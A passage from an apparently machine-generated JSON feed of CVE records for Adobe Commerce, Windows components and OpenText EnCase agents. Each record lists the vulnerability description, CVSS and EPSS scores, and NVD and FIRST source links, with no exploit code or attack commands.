CVE-2026-92909, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92464","cveId":"CVE-2026-92464","aliases":[],"kind":"vulnerability","title":"Adobe Commerce is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user.","summary":"Adobe Commerce is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. An attacker with high privileges could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.","detail":"Adobe Commerce is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. An attacker with high privileges could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:43.370Z","updatedAt":"2026-10-15T11:18:04.260Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Adobe Commerce and Magento"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92464","asOf":"2026-10-15T11:18:04.260Z"},"epss":{"probability":0.00867,"percentile":0.58449,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92464&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92464","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92464","type":"primary","publishedAt":"2026-10-13T19:21:43.370Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92464&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92464, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91013","cveId":"CVE-2026-91013","aliases":[],"kind":"vulnerability","title":"Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields.","summary":"Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.","detail":"Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim's browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim's account or session. Scope is changed.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:43.127Z","updatedAt":"2026-10-14T19:17:22.757Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Adobe Commerce and Magento"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91013","asOf":"2026-10-14T19:17:22.757Z"},"epss":{"probability":0.00888,"percentile":0.59063,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91013&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91013","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91013","type":"primary","publishedAt":"2026-10-13T19:21:43.127Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91013&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91013, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85928","cveId":"CVE-2026-85928","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Volume Manager Extension Driver allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Windows Volume Manager Extension Driver allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Windows Volume Manager Extension Driver allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:18.917Z","updatedAt":"2026-10-16T16:22:19.120Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85928","asOf":"2026-10-16T16:22:19.120Z"},"epss":{"probability":0.00648,"percentile":0.50749,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85928&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85928","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85928","type":"primary","publishedAt":"2026-10-13T19:21:18.917Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85928&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85928, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83910","cveId":"CVE-2026-83910","aliases":[],"kind":"vulnerability","title":"Out-of-bounds write in RPC Runtime allows an unauthorized attacker to execute code over a network.","summary":"Out-of-bounds write in RPC Runtime allows an unauthorized attacker to execute code over a network.","detail":"Out-of-bounds write in RPC Runtime allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:46.063Z","updatedAt":"2026-10-16T16:21:45.550Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83910","asOf":"2026-10-16T16:21:45.550Z"},"epss":{"probability":0.01084,"percentile":0.64999,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83910&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83910","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83910","type":"primary","publishedAt":"2026-10-13T19:20:46.063Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83910&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83910, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83782","cveId":"CVE-2026-83782","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Shell allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Windows Shell allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Windows Shell allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:27.183Z","updatedAt":"2026-10-16T16:21:31.397Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83782","asOf":"2026-10-16T16:21:31.397Z"},"epss":{"probability":0.01011,"percentile":0.6291,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83782&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83782","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83782","type":"primary","publishedAt":"2026-10-13T19:20:27.183Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83782&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83782, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83780","cveId":"CVE-2026-83780","aliases":[],"kind":"vulnerability","title":"Use after free in Windows CCFFilter Driver allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Windows CCFFilter Driver allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Windows CCFFilter Driver allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:26.917Z","updatedAt":"2026-10-13T21:18:49.650Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83780","asOf":"2026-10-13T21:18:49.650Z"},"epss":{"probability":0.01084,"percentile":0.65,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83780&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83780","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83780","type":"primary","publishedAt":"2026-10-13T19:20:26.917Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83780&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83780, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83770","cveId":"CVE-2026-83770","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Text Shaping allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Windows Text Shaping allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Windows Text Shaping allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:25.433Z","updatedAt":"2026-10-16T16:21:29.897Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83770","asOf":"2026-10-16T16:21:29.897Z"},"epss":{"probability":0.01127,"percentile":0.66111,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83770&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83770","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83770","type":"primary","publishedAt":"2026-10-13T19:20:25.433Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83770&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83770, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83748","cveId":"CVE-2026-83748","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:20.500Z","updatedAt":"2026-10-16T16:21:26.603Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83748","asOf":"2026-10-16T16:21:26.603Z"},"epss":{"probability":0.00933,"percentile":0.60464,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83748&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83748","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83748","type":"primary","publishedAt":"2026-10-13T19:20:20.500Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83748&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83748, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83693","cveId":"CVE-2026-83693","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:12.390Z","updatedAt":"2026-10-16T16:21:17.787Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83693","asOf":"2026-10-16T16:21:17.787Z"},"epss":{"probability":0.01127,"percentile":0.66112,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83693&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83693","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83693","type":"primary","publishedAt":"2026-10-13T19:20:12.390Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83693&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83693, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83578","cveId":"CVE-2026-83578","aliases":[],"kind":"vulnerability","title":"Integer underflow (wrap or wraparound) in Windows PowerShell allows an unauthorized attacker to execute code over a network.","summary":"Integer underflow (wrap or wraparound) in Windows PowerShell allows an unauthorized attacker to execute code over a network.","detail":"Integer underflow (wrap or wraparound) in Windows PowerShell allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:00.457Z","updatedAt":"2026-10-16T16:21:08.900Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83578","asOf":"2026-10-16T16:21:08.900Z"},"epss":{"probability":0.01086,"percentile":0.65028,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83578&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83578","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83578","type":"primary","publishedAt":"2026-10-13T19:20:00.457Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83578&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83578, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83519","cveId":"CVE-2026-83519","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:57.757Z","updatedAt":"2026-10-16T16:21:06.587Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83519","asOf":"2026-10-16T16:21:06.587Z"},"epss":{"probability":0.01084,"percentile":0.64999,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83519&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83519","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83519","type":"primary","publishedAt":"2026-10-13T19:19:57.757Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83519&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83519, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83517","cveId":"CVE-2026-83517","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:57.447Z","updatedAt":"2026-10-16T16:21:06.320Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83517","asOf":"2026-10-16T16:21:06.320Z"},"epss":{"probability":0.01084,"percentile":0.64999,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83517&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83517","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83517","type":"primary","publishedAt":"2026-10-13T19:19:57.447Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83517&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83517, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-75120","cveId":"CVE-2026-75120","aliases":[],"kind":"vulnerability","title":"The OpenText™ (EnCase SAFE Agents) component utilized by OpenText™ Endpoint Investigator, OpenText™ Endpoint Forensics & Response, OpenText™ Information Assurance, and OpenText™...","summary":"The OpenText™ (EnCase SAFE Agents) component utilized by OpenText™ Endpoint Investigator, OpenText™ Endpoint Forensics & Response, OpenText™ Information Assurance, and OpenText™ Endpoint Security contains a security vulnerability on the Agents that could allow unauthorized or unauthenticated activity that establishes an unauthorized connection to a vulnerable Agent by bypassing intended security controls during session establishment","detail":"The OpenText™ (EnCase SAFE Agents) component utilized by OpenText™ Endpoint Investigator, OpenText™ Endpoint Forensics & Response, OpenText™ Information Assurance, and OpenText™ Endpoint Security contains a security vulnerability on the Agents that could allow unauthorized or unauthenticated activity that establishes an unauthorized connection to a vulnerable Agent by bypassing intended security controls during session establishment\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 